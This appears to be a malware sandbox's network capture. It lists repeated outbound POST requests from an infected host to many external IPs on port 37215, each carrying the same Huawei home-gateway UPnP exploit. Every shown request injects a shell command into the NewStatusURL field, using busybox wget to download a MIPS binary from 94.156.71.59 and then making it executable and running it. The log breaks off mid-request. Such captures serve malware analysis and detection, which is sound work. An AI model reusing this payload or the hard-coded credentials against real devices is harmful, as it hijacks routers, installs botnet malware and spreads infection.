Jun 10, 2024 15:38:03.482568026 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.13	52454	156.191.46.243	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.487113953 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.13	51570	197.99.61.174	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.490221977 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.13	54212	41.22.61.255	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.492703915 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.13	34398	197.190.110.21	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.495588064 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.13	48920	41.52.231.151	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.502618074 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.13	42788	41.245.211.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.506514072 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.13	49084	41.68.79.37	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.510191917 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.13	33660	41.222.180.149	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.513741016 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.13	49986	156.82.237.148	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.519936085 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.13	55610	197.205.236.110	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.523806095 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 